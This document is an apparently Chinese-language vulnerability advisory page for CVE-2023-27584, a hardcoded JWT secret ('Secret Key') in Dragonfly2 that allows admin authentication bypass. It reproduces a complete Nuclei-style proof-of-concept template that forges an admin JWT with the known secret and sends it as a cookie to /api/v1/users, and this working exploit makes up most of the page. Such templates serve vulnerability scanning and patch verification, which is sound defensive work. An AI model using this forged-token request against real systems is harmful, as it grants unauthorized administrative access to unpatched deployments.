CVE-2023-27584: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret

日期: 2025-08-01 | 影响软件: Dragonfly2 | POC: 已公开

漏洞描述

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.

PoC代码[已公开]

id: CVE-2023-27584

info:
  name: Dragonfly2 < 2.1.0-beta.1 - Hardcoded JWT Secret
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-hpc8-7wpm-889w
    - https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9
    - https://github.com/dragonflyoss/Dragonfly2/security/advisories/GHSA-hpc8-7wpm-889w
    - https://nvd.nist.gov/vuln/detail/cve-2023-27584
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27584
    cwe-id: CWE-321
    epss-score: 0.58709
    epss-percentile: 0.98158
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2023,dragonfly,exposure,jwt,secret

variables:
  orig_iat: '{{to_unix_time(unixtime())}}'
  exp: '{{to_number(orig_iat)+4000 }}'
  payload: '{"id":1,"exp":{{exp}},"orig_iat":{{orig_iat}}}'

http:
  - raw:
      - |
        GET /api/v1/users HTTP/1.1
        Host: {{Hostname}}
        Cookie: jwt={{generate_jwt(payload,"HS256","Secret Key") }}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"created_at":'
          - '"updated_at":'
          - '"state":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202264533d21e79860dcd128edd268bdb2d9667389ca7c1df63968db5d998ad61e022100c48bcb20ccc5905bc7dc3b3c584df788b254ea550ffe3fc00610a19b8d6fd9a1:922c64590222798bb761d5b6d8e72950